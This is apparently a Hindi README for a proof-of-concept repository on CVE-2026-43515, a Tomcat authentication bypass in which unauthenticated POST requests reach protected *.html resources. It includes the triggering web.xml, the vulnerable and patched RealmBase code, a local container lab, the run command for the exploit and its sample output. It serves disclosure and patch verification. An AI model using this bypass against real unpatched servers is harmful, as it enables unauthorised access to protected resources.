
CVE-2026-43515 (Apache Tomcat बाधा उल्लंघन) के लिए शोषण-क्षमता PoC.
शोषणीयता निर्णय: शोषणीय की पुष्टि हुई। एक विभाजित
<web-resource-collection>कॉन्फ़िगरेशन द्वारा संरक्षित संसाधन के लिए POST अनुरोध प्रमाणीकरण को पूरी तरह से बायपास करता है। आवश्यकweb.xmlआकार मानक परिनियोजन में असामान्य है — विवरण के लिए विश्लेषण देखें।
CVE-2026-43515 Apache Tomcat के सुरक्षा बाधा मूल्यांकन तर्क में एक भेद्यता है। जब एक एकल <security-constraint> कई <web-resource-collection> ब्लॉकों को परिभाषित करता है जो समान URL एक्सटेंशन पैटर्न (उदाहरण के लिए ) साझा करते हैं लेकिन प्रत्येक एक अलग HTTP विधि घोषित करता है, तो Tomcat केवल मिलान संग्रह में घोषित HTTP विधि के लिए बाधा लागू करता है। बाद के सभी संग्रह चुपचाप अनदेखा कर दिए जाते हैं।
*.htmlप्रशासक का इरादा:
<security-constraint>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>GET</http-method> <!-- collection[0] -->
</web-resource-collection>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>POST</http-method> <!-- collection[1] — silently dropped -->
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
पैच-पूर्व Tomcat वास्तव में क्या लागू करता है:
GET *.html → 401 — बाधा लागू ✓POST *.html → 200 — बाधा चुपचाप हटा दी गई ✗| प्रभावित सीमा | में सुधारा गया |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
| 10.1.0.M1 – 10.1.54 | 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
बग org.apache.catalina.realm.RealmBase में findSecurityConstraints(Request, Context) में स्थित है। matched फ़्लैग और pos इंडेक्स प्रति-संग्रह लूप के बाहर घोषित किए गए थे:
// RealmBase.java — vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
// pattern matching sets matched = true and pos = j
// on the FIRST matching collection ...
}
if (matched) {
if (collection[pos].findMethod(method)) { // pos frozen to 0
results.add(constraints[i]);
}
}
एक बार जब collection[0] ने एक्सटेंशन पैटर्न *.html से मिलान किया, तो pos 0 पर जम गया। इसलिए findMethod("POST") कॉल collection[0] (जो केवल GET घोषित करता है) के विरुद्ध चला और false लौटाया। POST अनुरोध के लिए results में कोई बाधा नहीं जोड़ी गई, और AuthenticatorBase ने निष्कर्ष निकाला कि अनुरोध किसी भी बाधा के अधीन नहीं है।
फिक्स (कमिट 276087d) matched को लूप के अंदर ले जाता है और collection[pos] को collection[j] से बदल देता है, ताकि प्रत्येक संग्रह का स्वतंत्र रूप से मूल्यांकन किया जा सके:
// RealmBase.java — patched
for (int j = 0; j < collection.length; j++) {
boolean matched = false; // ← moved inside the loop
// pattern matching ...
if (matched) {
found = true;
if (collection[j].findMethod(method)) { // ← j, not pos
if (results == null) {
results = new ArrayList<>();
}
results.add(constraints[i]);
}
}
}
बाईपास की पुष्टि हो चुकी है और यह पुनरुत्पादनीय है। Tomcat का वर्बोज़ लॉग तंत्र को स्पष्ट बनाता है:
// GET — constraint correctly applied
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test → 401
// POST — constraint silently dropped
AuthenticatorBase.invoke Not subject to any constraint → 200
यह भेद्यता केवल एक विशिष्ट web.xml पैटर्न के तहत ट्रिगर होती है: एक एकल <security-constraint> जिसमें समान एक्सटेंशन पैटर्न साझा करने वाले लेकिन अलग-अलग HTTP विधियाँ घोषित करने वाले कई <web-resource-collection> ब्लॉक हों।
यह कॉन्फ़िगरेशन सर्वलेट विनिर्देश के अनुसार मान्य है लेकिन व्यवहार में असामान्य है। अधिकांश परिनियोजन या तो:
<http-method> को पूरी तरह से छोड़ देते हैं (सभी विधियों की रक्षा करना), या<security-constraint> ब्लॉक का उपयोग करते हैंवे परिनियोजन जो एक्सटेंशन पैटर्न पर बारीक-बारीक प्रति-विधि पहुँच नियंत्रण लागू करने के लिए विभाजित-संग्रह पैटर्न का उपयोग करते हैं, उजागर होते हैं।
cve-2026-43515-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml # One valid user: validuser:s3cret! / role: admin
├── web.xml # Triggering config: split web-resource-collection
├── logging.properties # FINE-level logging to observe constraint evaluation
└── exploit/
├── exploit.go # PoC — Go
| उपकरण | संस्करण | नोट्स |
|---|---|---|
| Podman | ≥ 4.0 | Docker भी काम करता है |
| Go | ≥ 1.22 | स्थानीय रूप से शोषण चलाने के लिए |
कोई बाहरी Go निर्भरता नहीं।
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
कुछ सेकंड प्रतीक्षा करें, फिर सत्यापित करें:
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
उपलब्ध फ़्लैग:
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|---|---|
-target | http://localhost:8080 | Tomcat आधार URL |
-path | /protected/secret.html | संरक्षित संसाधन का पथ |
-username | validuser | सैनिटी जांच के लिए मान्य उपयोगकर्ता नाम |
-password | s3cret! | सैनिटी जांच के लिए पासवर्ड |
podman stop tomcat-vuln && podman rm tomcat-vuln
═══════════════════════════════════════════════════
CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────
Probe 1 — GET without credentials
Expected: 401 (constraint applied to collection[0])
[1] GET (no credentials) → HTTP 401 ← ✓ constraint enforced as expected
Probe 2 — POST without credentials ← the exploit probe
Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST (no credentials) → HTTP 200 ← ✗ BYPASS CONFIRMED — constraint not enforced for POST
Probe 3 — GET with valid credentials (sanity check)
Expected: 200 (authenticated access granted)
[3] GET (with credentials) → HTTP 200 ← ✓ authenticated access granted
───────────────────────────────────────────────────
VERDICT: VULNERABLE
| संसाधन | लिंक |
|---|---|
| फिक्स कमिट — 11.0.x | apache/tomcat@276087d |
| पूर्ण विश्लेषण — ब्लॉग पोस्ट | return-zero.dev/posts/cve-2026-43515 |
यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों और स्थानीय शोषणीयता विश्लेषण के लिए है। सभी परीक्षण एक स्व-होस्ट किए गए कंटेनर वातावरण के विरुद्ध किए गए थे। इस PoC को उन प्रणालियों के विरुद्ध न चलाएँ जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है।